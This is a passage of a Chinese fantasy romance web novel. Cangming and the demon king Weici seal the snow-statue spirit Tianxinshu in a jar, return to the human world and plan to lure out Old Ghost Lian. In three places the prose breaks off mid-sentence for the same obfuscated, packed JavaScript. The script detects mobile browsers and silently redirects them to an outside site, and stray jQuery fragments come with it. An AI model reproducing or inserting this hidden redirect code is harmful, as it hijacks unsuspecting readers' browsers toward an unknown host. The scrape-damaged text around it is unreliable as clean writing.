天心沭猛烈挣扎起来,浑身冒出一阵一阵的白烟。白烟越来越浓,最后竟汇聚成白色的火焰,将天心沭彻底淹没。 为了挣脱枷锁,天心沭不惜引燃了全身的法力。随着一声轰响,天心沭猛地从墙上拔了下来,茅屋随之坍塌。 苍名回头看着那座废墟,虚弱地说:“我答应要帮她看房子的。” 未辞又狠狠地拉了她一把:“走。”他仍然紧紧抓着苍名,手指都深陷于她手臂的肉里。 他身上散发出的冷酷恐怖之意,让周围气压骤降,苍名甚至隐约感觉到害怕胆怯。她发现自己之前从未细想过冥界妖王的含义,从未领略过冥界妖王的真谛。 天心沭从一堆破烂里爬起来,因为刚刚爆了法力而元气大伤,但已恢复邪气十足的本色,破口大骂起来:“贼厮鸟,你们到底是什么人!为何总对我纠缠不清?” 苍名硬是像拔河一样拉住了未辞,转身对天心沭反唇相讥:“你怎么还有脸问我们?我还要问你是谁!” “你是被哪个观撵出来的道士,傍了个野路子的大妖,就想捉我不成?”天心沭怪笑一声,又冲着未辞喊,“不管你什么来头,别忘了自己是个妖,将来道士成了仙,你还跟她好不成?” 苍名断喝一声:“闭嘴。”未辞却微妙地沉默了,周身的气焰慢慢冷却下去。 天心沭扶着断墙站起来,破罐破摔,放声大喊:“癫公癫婆,破锅配烂盖,公狗配野妇,狐狸配蠢兔——” 苍名果断插话:“十七烟的诅咒,真灵验啊。你还满意么?” 天心沭一愣:“什么意思?” 苍名带着一副洞悉一切的表情,神秘地冷笑着:“自从你在十七烟布设诅咒,逢焉城可是一会儿瘟疫,一会儿洪水,接下来是什么?”她紧盯着天心沭那双雪白的眼睛,却诈不出任何线索。 天心沭仍然皱着眉头:“什么意思?” 苍名了然于胸地说:“喔,这么说,那是令尊布置的诅咒。” 天心沭似乎对这位拿不出手的父亲感到十分羞耻:“那和我有什么关系?” “上次在黑山洞,你亲口说过未央冠在你的地窖里,”苍名冷笑道,“天心沭阁下,我们不妨明说,历来争夺珠冠的都非善类,更何况你又屡次驱策绣花鞋……” 天心沭那张的平滑的雕塑的脸突然皱起一层层皱纹,看起来鬼魅瘆人:“我争了珠冠,就是恶人了?天下所有的坏事就都是我干的了?” 苍名顿了一下,执着地说:“你说珠冠被偷走了,但江湖上毫无动静,谁知道珠冠是不是真被偷了?说不定你是贼喊捉贼。” 天心沭大怒:“闭嘴!我乃一方之王,岂能跟你这下贱道士说谎?你哪知眼睛看见我杀过人?” 苍名怒极反笑:“上次要不是我出手,你的绣花鞋早就在我眼皮底下把人杀死了。” 天心沭烦躁地说:“闭嘴,你到底在唠叨什么鬼话,我根本听不懂。” 苍名长叹一声,遗憾地说道:“天心沭阁下,我本以为你性情直率,敢作敢当,不会说谎。” 天心沭一只手放在雪树的树干上,二者质地相似,泛着一片如同星海的白光。她看着李弦真消失的方向,悲哀地说:“你这个杂碎,我告诉你吧,我七岁时骗了别人的蜜饯吃,师姐狠狠教训了我,我这一生都没再说过一句谎话。”说到最后,她神情惨淡,不想再说。 未辞有些不耐烦地说:“将军,该走了,我有重要的事对你说。” 天心沭贴地滑行而来,猛地挡住他们的去路:“那对陶人呢?” 未辞两手空空。天心沭的嗓子顿时哑了:“你把它们变到哪去了?你竟然打破森林的结界——” 苍名说:“他不是一直在打破吗,你怎么才发现?” 天心沭气急败坏地甩开两条袖子,像一只振翅的雪鸟,整个森林的雪都从地上腾起,仿佛时光倒流,落向地面的大雪突然逆行而上。雪花聚集成一架巨大的骷髅,惹得苍名更加笃定地大喊一声:“还说不是你!哦对了,我刚才忘了说,逢焉城的瓜果里都是你的骷髅图腾……” 骷髅猛地向她冲来,但这次苍名左拳右掌,几下就把它挥散成一地雪粉。天心沭后劲不足,站在原地大口喘气,肩膀上下起伏。 这几招拳脚功夫在未辞看来不过是缺乏法力的小打小闹,他根本懒得看天心沭,只是抿着嘴唇,拉得苍名脚不点地,向弦真屿之外大步走去。 苍名积攒多时的憋闷终于爆发了:“我还没有查清十七烟的诅咒,你大概不在意,但我可是要靠这个积累功德的好不好……” 未辞的流星大步一下停住了。他垂下头说道:“是,将军,我不过是个妖。” 苍名摆摆手,凑到他耳边说:“我准备跟踪她,顺着她找到老鬼莲,两个一网打尽。你要是不大感兴趣,就不用跟着了。” 未辞说:“将军,你还是执着于证道成神吗。我从前劝你的话……” “中野飞鸥妖王。”苍名心头的怒火又开始上涌,“成神是我的执念。” 未辞低声说:“让你放弃成神,是我的执念。” 苍名一愣,突然笑了一下:“难道,你是怕我成了神,就跟你分道扬镳了?” 未辞默不作声。苍名拍着他的肩膀,语重心长地开导道:“放心吧,我不是那样的人,就算成了神,我也要每天来找你。再说成神很难的,谁知道猴年马月才能成……” 未辞说:“但……不止是因为这个,更重要的是……我不能说。”他几乎是恳求地看着苍名。把冥界之王逼迫到这个份上,苍名觉得十分不妥:“好了,以后我抓鬼会量力而行,你也不要再靠着发冠来追踪我啦。” 轻微的踏雪声由远及近,天心沭幽幽地跟在他们后面走来,停在几丈开外的地方不动了。 苍名突然对未辞竖起大拇指,钦佩不已:“原来你藏起陶人,是为了引她跟着我们,妙,实在是妙!” 未辞的嘴角微微抽动了两下,什么也没说。两人肩并肩缓缓向林外走去,天心沭始终跟在他们身后,保持着几丈的距离,因法力骤减而怨恨忌惮不已。 苍名一边频频回头盯着天心沭, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172745|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边低声问道:“出去的路,你找得到吗?这路线也被施了法术,要按照古琴的琴谱来走……” 未辞恩了一声,带领苍名沿长长短短的路线迂回行进。走到一点,便即停住,如同在琴弦上落指拨弦,而后复又转头走上旁边一条平行的路线去往下一点,恰似在另一根弦上或挑或勾。 苍名忍不住问道:“这到底是什么琴谱?” 他答道:“这个么,是《流风回雪》。” “还有这样的曲子?真是好名字。”苍名惊奇地说,“当年忘仙派编排了那么多支新舞,却从没听过这首曲子,想来和着它舞剑一定十分恰当。” 未辞的嘴角泛起秘而不宣的笑意。他看向别处,掩盖着得意又好笑的神色:“是啊,一定十分恰当。” 苍名又问:“你是怎么知道就是这首曲子的?” 未辞说:“将军,你听。这密林中的风声自有一派琴韵,节奏铿锵而回声悠长,我猜只需按照此乐声走出琴谱的路线,就能随意进出密林。” 苍名再次回头远眺一眼天心沭,不忘对未辞称颂赞扬:“原来你还会弹奏古琴,世上有什么是冥界第一妖王不会的吗?” 未辞微笑着说:“有啊,靠抓鬼绝技打出了鬼克星的招牌,就是我不大会的。” “……” 雪树逐渐疏朗,冰霜变得稀薄,冥界的湖绿色天光从冰雪枝条间透过。密林的边界到了。 苍名与未辞对视一眼,接过冰刃宝剑,重新将它悬挂在腰间。无需多言,未辞挥挥手就在纠葛的雪树枝条上劈开缺口。周围那些没挨打的树枝也颤颤巍巍地向两边躲开,天心沭在后面骂道:“没用的东西。” 两人一前一后跳出森林,重见天日的一瞬间,苍名感受到滔滔法力重回体内,顺经脉在周身游走不息,激动得差点像见到过世的祖宗,甚至比跟希声无律和解的那天还要高兴。 天心沭恍恍惚惚地从雪树中走了出来,似乎别无他法,不知何去何从,只能一直跟着这两个人。她刚开口说了一句:“把两个陶人还来——” 便只见蓝影乍起,苍名双手举着一个油光水滑的红釉坛子从高处跳下,大喝一声:“收!” 如同一阵暴风雪涌入坛中,一方之王,雪雕天心沭,竟在自己的树林边被收进坛子,坛口盖紧盖子,用符纸封口。 苍名用袖口抹了一把额边的碎发,长舒一口气:“这是希声画的符纸,不会失效的。” 未辞举起一双修长的大手轻轻拍了几下,挑起一边唇角:“将军好身手,还随身带着酱缸呢。” 苍名纠正道:“这个,叫坛子,是道士捉鬼常用的玩意。你看,还有葫芦,木盒……都可以装鬼的。”她撩起腰带上缀角的一串装饰,都是些小巧精致的葫芦、木盒、坛子,用时可随意变大变小。 未辞垂下眼睛深深一笑,随即问道:“接下来预备如何?” 苍名将坛子的实相化去,牢牢收在身边,一拉未辞的手臂:“老鬼莲一定不在十七烟。咱们回客栈去,让无律散布天心沭被捕的传言,等老鬼莲现身。” 32. 妖王略施计 沿一条长路走出数里,雪树森林彻底消失在身后的天际。四周村落聚集,鬼来鬼往,鬼烟稠密。冥界没有日升月落,林中不过数日,天地气象未曾更新。苍名却觉得仿佛已经在密林中过了十天半月,顺便想起了一件要命的大事—— “未辞!希声说过要我们五日后在江边碰头的!” 她匆忙地在浑身上下翻找着定位黄符,摸出一张发霉的树叶。 未辞和颜悦色地说:“将军,森林里的阵法能阻碍神仙的法力,自然也会破除神仙的符咒。奏潮仙说不定已经自己走了,不如我们慢慢回去?” “也不知现在是第几天了?”苍名头疼地看着周围一晃而过的妖形鬼影,“奇怪,他们是怎么判断时间的呢?” 未辞那双本来已经冰雪消融的眼睛,又开始寒光四射:“久居冥界者,无论妖鬼神魔,都会丧失对时间的知觉和掌控。有人因此误了大事,终日懊恼沉沦,放弃了转世投胎。” 苍名看了他几眼,他转过头来淡淡地笑了一下。不知从什么时候起,未辞变得忽冷忽热,冰火两重,令人捉摸不透。如果是二十岁的自己碰见这小子,恐怕非要胡思乱想、患得患失不可。 苍名扔掉那片布满斑点的树叶,漠然地说:“放弃转世也没什么,人间与冥界又有多少分别呢。” 未辞轻轻吹了一声口哨:“将军,你欠我的饭……” 苍名怔了一下,立刻说:“没错没错,我记着呢!我们先返回原地去找希声,若是没找到,就回人间去,路上请你吃一顿大餐,如何?” “一言为定。”未辞愉悦地点了点头。 冰刃长剑出鞘,被苍名抛向半空。两人默契地纵身一跃,一前一后轻轻落于其上。苍名打头,未辞殿后,长剑升上万丈高空,迎风向前飞去。周围云雾缭绕,偶尔需要用手拨开,才能俯视下方的田野村落。 未辞记性上佳,把控航线,一路在苍名耳边指点方向,苍名简直想张嘴问他是不是在江边那里也放了一顶束发冠。想到自己头顶的纯银发冠,她浑身又像过了闪电一样毛骨悚然。被监视的恼怒感,被人掌控和看穿的耻辱感,就像摁不下去的葫芦瓢一样,重新浮出水面。 即使只对着苍名的后脑勺,妖王也依旧察言观色:“将军,是不是累了?不如我们下去歇歇?” 考虑到气氛好不容易有所缓和,苍名只是简洁地说:“没有,我挺好的。” 片刻之后,苍名的脸颊浮现出零星的笑意:“想不想快点回去吃饭?” 未辞欣然接口道:“这当然好了,将军安排就是了。” 嗡地一声,长剑突然像火炮一样发射出去。未辞的余音还留在后面,两人的身影却已经向前蹿出几里,甚至在天际留下了拖影。 这毫无征兆的加速令未辞措手不及,向后踉跄一步,长剑又突然恢复了不急不徐的速度,使得未辞又向前冲出一步,双手扶住了苍名的肩膀才不至于撞上她。 冥界第一妖王,有生以来第一次差点在天上摔倒。苍名用尽全力忍住得意的笑声,而她的眼睛里流动着幸灾乐祸的华美光彩。未辞感受到手掌中握着的纤薄肩膀因为憋笑而微微发颤。 他不但没有后退,反而还往前站了站。苍名稍稍偏过头看了他一眼,他的头软绵绵地垂下来,宽阔高洁的额头几乎要挨上了她的鬓边,两只大手抓着她肩膀不放:“将军,我突然有些头晕。” 竹叶般清新凛冽的气息,破开了周围的缭绕云雾,像一阵雪一样笼罩了苍名。温热的胸膛贴上了她的后背,她被禁锢在这结实有力的怀抱中了。 一时间,苍名像被施了定身法术,手脚不知该往哪里摆放。她昏头昏脑地问道:“怎么搞的,真晕吗,还是假晕……” 未辞万分委屈地说:“头晕得很,眼前模糊极了。还是将军身体健壮,万里高空间来去自如,虽长剑疾驰如流星,却能渊渟岳峙,面不改色。”他对苍名说话时的声音总是低沉轻柔,此刻声音贴在耳边,更添有几分沙哑魅惑之意。只觉一阵血流上涌,苍名的脸颊噌地热了起来。 未辞好笑地松开了她,终于往后退了两步:“现在又好了。” 苍名转回头去,目视前方点头说道:“噢,噢,那很不错。” 未辞又顾全大局地说:“将军,加速吧,我没事的。为了早点回去办正事,我理解的。” “不必了,快到了。”苍名玩弄把戏被人反将一军,抱起手臂说道,“你指路,我不认得。” 未辞朗声一笑,指着下方的土地说:“快到了,这不就是海螺洞?” 从云间向下看去,江水滔滔而过,像一条宽阔无边的绸子。岸边奇山怪石林立,形似海螺的山洞缩小成一点,仿佛真的是一只水边的海螺。一想到在海螺洞里相拥的片刻,苍名竟有种怅然若失之感。 又飞出一柱香的功夫,未辞说:“到了。” 两人徐徐降落在江边,衣带临风飘举,苍名利落地还剑入鞘。四周一片沉寂,不见希声身影。 苍名担忧地踮脚张望:“也不知现在是第几天了?希声来过了没有?” 未辞说:“第六天了。” “……”苍名沉默了一会儿,叉着腰说,“你是掌握了秘密判断时间的妙宗吧,中野飞鸥!” 每当未辞露出一侧的梨涡时,都神似一只玉面狐狸:“我确实有办法。” 苍名歪头等着他展示,他指着江水说:“将军,你看。” 水面波光粼粼,平静得像一块剔透的玉一样。未辞说:“从前我旅居冥界,认错了时间,酿成大祸。后来我从春秋渡上看出端倪,潮起一次,人间便过了三天,潮落水退,人间便又过了三天。” 苍名不禁真心实意地称赞道:“未辞,你如果流离失所,天地为庐,野外求生,一定是个本领卓绝的行家里手。” “……” “既然已经第六天,希声也不在此地,我们就直接启程回人间去吧。希声那么聪明,八成已经猜出时间打道回府了。”苍名皮笑肉不笑地看了一眼未辞,“妖王殿下早就知道是第六天了。” 未辞一本正经地说:“将军,是你说要来看看的。我是你的下属,当然要听你的。” 苍名无言以对,只能催促道:“回人间怎么走,你带路。”上次从冥界返回息园三坊,用的是无律从小妖小鬼手里借来的钥匙。这次终于要一睹妖王摆驾回銮的风采,苍名竟然觉得十分期待。 千年来最为神秘的妖王,会如何穿行往返于两界之间?是用呼风唤雨之力架起一座秘境之桥,还是乘日月轮替之际调换阴间与凡尘? 苍名的每一处细微表情变化,都没有逃过未辞的注视。他眼看着苍名神采飞扬,顾盼生辉,喜怒皆形于色,不禁莞尔一笑。 “将军,这微城里通向古楼的地点有很多,都是我过去一千年里布设的驿站。”未辞看着苍名因好奇和急迫而大睁的杏眼,故意慢悠悠地说,“距离此地最近的一处,就在……” 苍名已经作势要拔出长剑再度上路,未辞说:“是那个海螺洞。” “……” 于是二人原地转了个身,沿旧路线返回海螺洞。未辞像一只狐狸精那样挑眉一笑:“将军,我不是故意让你绕路,我这个做下属的,要遵循将军的意愿,唯将军之命是从。” 苍名哼了一声:“好好好,你现在倒是尊重起我的意愿来了,先前劝我不要成神时……”点到为止,她没有再说下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172746|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 两人走进洞中,站了个脸对脸,面面相觑。苍名勉强能站直身板,未辞要微微弯腰才不至于碰到头。他的双手轻轻扶住苍名的肩膀,贴着苍名的耳边说:“将军,闭眼。” 苍名闭上眼睛,眼睫毛轻微地抖动着。未辞大概在默念咒文,洞中银光闪耀,仿佛月亮的光华灌满海螺,云贝般的洞壁像银色的岩浆一样流动起来。 在这千载难逢的际遇前,苍名悄悄地睁开眼睛,只看见二人置身其中的山洞已经不见踪影,周围的山川河流扭曲变形,如同奇异碎片,浮动漂流。 江上一轮巨浪打来,马上就要席卷天地,将二人紧密相拥的身影吞没。就在同一瞬间,山峰和村屋融化为耀眼的水银,继而分裂为片片飞甲。飞甲迅速重聚成一道银蓝色坚冰般的软索,像一条巨龙盘绕住两人,融合为一条隧道,替他们挡住浪潮的袭击。 玻璃般的水幕重重撞击在剔透冰龙之上。借着这股巨大的冲力,隧道裹挟着两人冲向未知的高空。 苍名紧紧抓着未辞的腰,几乎分不清是人在隧道中滑行,还是隧道随着人飞向了天际。 冰层厚重坚韧,像浓郁洁白的雾气,挡住了外部的一切。苍名只觉得耳边全是呼啸碰撞的声音,想来是浪潮、巨树或是别的什么在阻拦和抽打着隧道。冰龙一波三折,苍名和未辞被抛得忽上忽下,彼此时而肢体相撞,时而躯干摩挲,时而抱在一起翻几个滚,时而十指相扣悬浮失重。 忽然之间,一切归为平静。冰龙的消失,带走了耀眼的银光,四下里一片昏暗。等到苍名的眼前重新浮现出清晰的景象时,冥界已经像轻烟般无声无息地散去,两人置身于古董店里,楼中徒有四壁,简陋冰冷,就像那一晚苍名一行人来找未辞时那样。位于五层的窗户,透进来绮靡的晚霞。 两人经由冰龙的传送,从那扇窗户里回到了人间。 未辞仰面半卧在地板上,双肘将自己的上身支起,半笑不笑地看着苍名。 苍名正趴在他的身上,一手按着他的胸脯,一手按着他的腹肌,徒劳地试图恢复体面的平衡。 苍名手按着未辞坚实的小腹,略显慌乱地试图爬起来。可她的手明明没有使劲,未辞却闷哼一声,向后一倒,连带着她也向前倒去。两人再次以亲密的姿势纠缠在一起。 嚓嚓,嚓嚓。 一阵不宜察觉的脚步声传来,苍名回头一看,一排侍者端着茶壶、茶碗和茶点,飘也似的停在两人面前。 两人保持着如此香艳的造型,苍名大脑一片空白:“我们,我们只是……” 那群侍者却训练有素,面容不改,只是轻轻把手里捧的托盘放在柜台上,便绝尘而去,隐入昏暗之中。 古董店今日没有开门。铁甲铜人面对墙壁站立,没有看向两人,苍名几乎怀疑他是自己主动转过去的。 苍名一骨碌从未辞身上翻下来,先摸了一把随身携带的隐形坛子。坛子没有摔碎,黄符紧密黏贴在坛子盖上。她松了一口气,被未辞拉了起来。 “将军不要见怪,冥界地域辽阔,要想瞬间回到人间,免不了时空压缩之术,动荡在所难免。”未辞一本正经地解释道。 苍名拍打着袍子下摆,扬起眉毛问道:“你每次都摔吗?” 未辞的眼中闪过狐狸般的笑意:“这个么,也许是又累又饿,所以发挥不佳……” 苍名猛地一惊:“啊,我忘了,我还没请你吃饭,就回来了……” 未辞体贴地说:“这有什么要紧,将军以成神为重。” 被噎得顿了一会儿,苍名才说:“我把坛子送回息园三坊,然后咱们就去吃香喝辣,如何?” 未辞点头说:“就按将军说的办。” 33. 息园聚豪英 带有石灰味的寒风穿过了逢焉城的楼台茅舍,屋顶的白雪已经开始化成冰水沿屋顶滴落。瘟疫虽然已经过去,但城里的人仍然保留着用石灰水消毒的习惯。 苍名一只胳膊夹着坛子,一掀袍子下摆就跨进息园三坊的门槛。炒菜炝锅的油香,和大米煮熟的馨香,一起随着暖风扑面而来。抓鬼归来,第一次有了回家的感觉。 寻烟和觅霞正在一个红衣人的指挥下匆匆忙忙地端来各式汤汤水水,搭配坚硬烧饼一起放在零零散散的客人面前。 红衣人一转身,看着苍名眨了眨眼,随即大叫起来:“鬼克星,是你啊!” 鬼克星的名号一出,立刻在店内散客中间引起了一阵躁动和不安。那些面貌平淡而举止低调的散客,全都忌惮地看着苍名。今天的息园三坊中,也果然没有一位活人顾客。 须臾间,那群客人全都仓皇起身,逃出门外,彼此拼命交头接耳: “鬼克星不就是道士?” “快走,快走,你不要命啦?” 苍名对一众小妖散客的背影喊道:“各位下次再来,本店安稳舒适,宾至如归啊……”吆喝过后,又几步跑到红衣人身旁,高兴地给了他一拳:“魏羌,你回来了?” 魏羌抱怨道:“我不过外出云游了两圈,一回来发现客栈冷冷清清,怎么连店掌柜也不见了。我当然就义不容辞地帮忙啦。” 苍名哈哈地寒暄道:“几日不见,你的衣服还是这么红。” “苍姑娘,花怡公子送回家了吗?” 苍名一回头,发现笑面的觅霞神不知鬼不觉地出现在自己身后。 “他啊,说来话长了。”想起花怡和李弦真最后的背影,苍名的笑容立刻淡去了。即使当时未辞没有圈住她,她又能怎样做,动手捆住李弦真,阻拦她做出的选择,像天神一样改写她的命理?可如果李弦真和花怡辗转寻仇,手刃莲花,走完千山万水这一路,就真的能活下去了呢? 寻烟面带喜气洋溢的笑容,接过苍名手里的坛子就要放到后厨。苍名急忙拦着他,托他放到楼上房间里去。在这热热闹闹的档口,苍名突然感到一行幽幽的目光投了过来。 转头一看,希声坐在大堂角落,一边独自饮酒,一边从容地看着她和坛子。苍名的那条斗篷就放在一边,整洁如新。对上她惊喜的目光,希声对着坛子了然于心地点了点头,于是苍名知道无需多言,希声已看出坛中是为何物。 寻烟捧着坛子上楼,苍名重重地坐在希声对面的长条板凳上,疲惫地问:“无律呢,你找到他了?” 希声一口一杯,干了两盅以后,回答道:“没有。我在岸上找了半天,后来又跳进春秋渡里找,结果被幻术迷住了。” “你也进了水下?”苍名惊奇道,“水下会让人想起最恐惧的记忆,会把人吸进漩涡……那你怎么上来的?”她想到这个希声搞不好是假冒的,立刻蹦起来向后跳开一步。 希声平静地说:“我说过,万花镜一直缠着我,让我整日心神不宁。恐惧的感受,我早已习惯了。” “……” “所以,后来有一天我突然决定不再恐惧。”希声一口干了最后一杯酒,“就这样。” 魏羌在一旁连连抱拳道:“奏潮仙,你不愧是成仙的人,真够狠啊。” 苍名用同情而哀伤的目光注视着希声,希声说:“你先上去看着那坛子吧。” “无律呢,他怎么还不回来?”苍名头疼地看了一眼门外,“难道他真被钟无期揍晕了不成?是不是倒在路边了?我们要不要多带些人去捡他?” 喀的一声,不远处一位客人重重墩下手中的盘子。他咣咣两下把烧饼掷回到盘里,赌气冒烟地站了起来:“什么意思,莫非我还打不过他了?” 几人都疑惑地看着他。这人面目平平无奇,一张脸上五官涣散,衣着也灰扑扑的,整个人让苍名过目即忘。 彼此瞪了一会儿,苍名突然说:“无律!” 众人的身影都齐刷刷地微微一晃。那一脸模糊的人狂笑起来:“怎么样,我都在这儿坐了四五天啦,你们谁也没认出我!”说着,他伸手抹了一把脸,那一脸的零碎五官就像水痕一样被抹去了,无律的真容现了出来。 “哎呀,掌柜的!”这一次,寻烟和觅霞的笑容咧得更大了,竟然多了几分真心实意的欣喜意味。 魏羌大步踏到无律面前,与他击拳握手,大吼一声:“音律仙,你怎地一直坐在这里装客人?害我辛苦跑堂了好几天!” 无律呵呵大笑道:“因为这样很有趣啊!我坐着,你们都来服侍我……实在是很有趣啊!” 希声无语地看着他,苍名则急迫地问道:“抓到那老小子没有?” 无律的脸立刻垮了:“本仙怎么会追不上一个废物?可惜,追上了以后也拿他没办法,唉……” 这下,连苍名也无语地看着他。只有魏羌听不懂三人在说什么,他将这种对话理解为仙人之间对秘密任务的交流,于是顿时肃然起敬,垂手立在旁边聆听,一改平时没大没小的神情。 为了挽回颜面,无律强调道:“追上以后,我打了他一顿!打得他嗷嗷叫呢。” “所以?”希声冷冷地盯着他,“铜铎山的抵押票子,要回来没有?” “你说契书吗。”无律躲躲闪闪地说,“就在他胸前那个银匣里,恩。” “你没要回来。”希声严厉地看着他。 无律一抬手化出拐棍,拄着拐意欲逃离大堂:“他用大伯的恩情来威胁我,我实在没法……如果我要抢他的银匣,他就要自刎……” 苍名痛心疾首地说:“无律呀无律,明着抢不行,你就不会暗着偷吗?” “……”无律矜持地回答道,“那是你,我可不干这事。” “……” “好了好了,我回来的时候,还碰到你那个姓游的阔气朋友了。”无律对苍名说,“船的事,我替你跟他赔不是了。” 苍名的脸都亮了起来:“太好了,我还发愁要去哪里找他,我会赔钱的!真是多谢你替我解释了。” 无律豁达地挥手说道:“这有什么,一句话的事!我跟他说了,你中途和人打架,把船从半空掉到地上,如果船有什么破损也情有可原。” “什么?!”苍名气得两眼一黑。有一瞬间,她想夺过无律的拐棍在大腿上撅断。 希声露出罕见的微笑,随即对无律说道:“对了,你们是怎么逃出春秋渡的?水下会——” 无律挥舞着拐棍,毫不在意地说:“苍名方才说的我都听到了。水底确实让人心慌气短的,真是邪门了。不过嘛,我还能有什么怕的?不过是担心客栈倒闭、居无定所、没有好酒好菜罢了。” 希声凉凉地说:“真羡慕你们这些安于世俗的人。” 无律谦虚地回答:“你还没看见钟无期在水下的寒碜样子呢,他好像一会儿清醒,一会儿糊涂,最后我们一边殴打彼此一边上了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172747|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岸……” 等他绘声绘色地讲完,苍名向魏羌招招手:“正好都在,我们来商量一下坛子的事。” 希声示意寻烟关上客栈大门,魏羌则问道:“坛子怎么了?”无人再理会无律的讲话。 苍名说:“我们这次抓了女鬼天心沭回来,封在我的坛子里。这天心沭么,你们猜她到底是谁?” 魏羌一无所知,希声游移不定。苍名幽幽地说:“她是花怡母亲的师妹,还是老鬼莲的女儿。老鬼莲是她爹!” “你们看看!”无律大喝一声,“我就说过!这老货搞不好是她爹!” 苍名继续说:“老鬼莲虽然名叫鬼,其实是只妖,乃是莲花修出的人形;天心沭却是一尊雪雕,和莲花一点不沾边。这两人,怎么看也不像是父女。” 无律说:“妖鬼之间嘛,也可以通婚的,这个父女之间呢,也不一定要同源同形……” 魏羌急迫地插嘴道:“我们是不是要把她和那老鬼一网打尽?可惜了,她还从她爹手里救过我的命……但我不是那是非不分的人。”他伸手抓住后衣领里的痒痒挠,故作老练地对其他三人点头表示自己都明白。 苍名说:“老鬼作恶多端,罪行累累,又是差点把你抓去,又是害得花怡今生尽毁。花怡之母李小姐,带着花怡去十七烟找老鬼莲报仇了。” 无律摇头道:“我的线人每天都去十七烟刺探,老鬼不在那里。” 苍名点头说:“不错,老鬼莲跑了。无论如何,我们要赶在李小姐之前找到老鬼,助她一臂之力,免得他母子二人以卵击石,丢了性命。”一想到李弦真千里寻仇、为让花怡涅槃新生,苍名就感到隐约的不安。对他人这段因果不加干涉,到底是对是错? 希声对苍名说:“你是不是想用坛子里的雪雕引出老鬼莲?不过,我看他们父女关系可不怎么样。” 苍名接口说了下去:“的确,那老鬼没有抚养过天心沭,而是把她扔在世交李府,也就是花怡的母家。老鬼做了恶事,却留下雪雕的假壳,好像生怕自己女儿不会暴露,让人眼花缭乱,表象纷繁,真假难辨。” 希声说:“不错。”她和苍名相视一笑,对这类无需废话的交谈感到十分满意。 无律说:“不管怎么说,我先动用我的关系,把消息散布出去好了,就说雪雕掌握了她爹的秘密,不怕那老鬼莲不上钩。”他宠溺地环视着这间破破烂烂的客栈,依依不舍地说:“希望到时候老鬼莲来打架,不要毁掉我的客栈啊。” 接着无律开始对魏羌嘀嘀咕咕地讲述他对这间客栈有多么满意和知足,他这安稳的生活恰是小满胜万全的最好写照,就算铜铎山来了也不换……苍名嘴角抽动,朝他挥挥衣袖道:“放心放心,坛子不会一直放在客栈里,息园三坊是安全的。待我审讯了天心沭,就将她镇压在宝塔下。” 无律急忙说:“提到外面去审讯,不要在这里。” 如果老鬼莲真的带着一众妖鬼来了,苍名也担心这座结构疏松的老房子会坍塌。此外,还要提防天心沭的副将,和那歪瓜裂枣的军团,还要主动去寻找老鬼莲,以便在李弦真母子与其复仇时大力相助……要操心的事实在数不过来,苍名长叹一声。 希声拍拍她的肩:“回房休息吧。” 苍名回到二楼卧房,关起房门,房内陈设布置如常,却仿佛已经离开一年之久。 她对着镜子,静静地看了一会儿自己的脸,缓缓伸手摘下了头顶的银质发冠。 34. 香雾迷万象 银发冠被压在枕头底下,用一块枕巾包好。苍名弯腰看了一眼床底,黑暗深处,坛子完好如初。窗外天色已晚,她如释重负,换下外袍,瘫坐在床上。 只听见门外楼梯上当啷作响,接着门板被重重敲打,发出沉闷的碰撞声。苍名心里一惊,暗自琢磨,难道自己这头才把发冠摘下来,未辞那头就有所感应、前来劝降了? 打开门一看,却是一只装满热水的大木桶自己蹦跳着上楼了,此刻正站在房门外微微起伏,似乎因为激动而跃跃欲试。苍名探出头两边看看,知道是无律从后厨派出的浴桶,心里一阵感激。 “请吧。”苍名侧身让木桶进来,随即关门落锁,里衣一除,泡进白雾腾腾的热水中。散下来的长发如同绸缎一样披在肩头,垂在水里,像夜色中探向湖面的树影。 在跳动的烛光和氤氲的热气里,苍名随手拿过来一本书,定睛一看,又是那本《百强谱》。她一手搭在木桶边缘,一手举着快要破成粉末的抄本,皱着眉头读起来。 天心沭,乃阴邪女妖,形如雪雕或白石雕,近年崭露头角,盘踞一方。其力不可低估,能驱策骷髅阵和参天雪树,手下驯养众多妖鬼兵将。 “骷髅阵,雪树。”苍名撩水冲了一把眼睛,再重新看那页书,依旧难以置信。上一次她草草地翻遍了这本书,可以确信的是,这本书里从来没有出现过天心沭的名字。 现在她去了一趟雪树森林,再回来时竟然连书里的字也变了,就好像这本书是她的史官,将她和天心沭交战的场面都付诸笔下…… 苍名继续哗哗翻着这本破烂册子,又停在某一页不动了。她的目光像被黏在破纸上,一寸也移不开了。 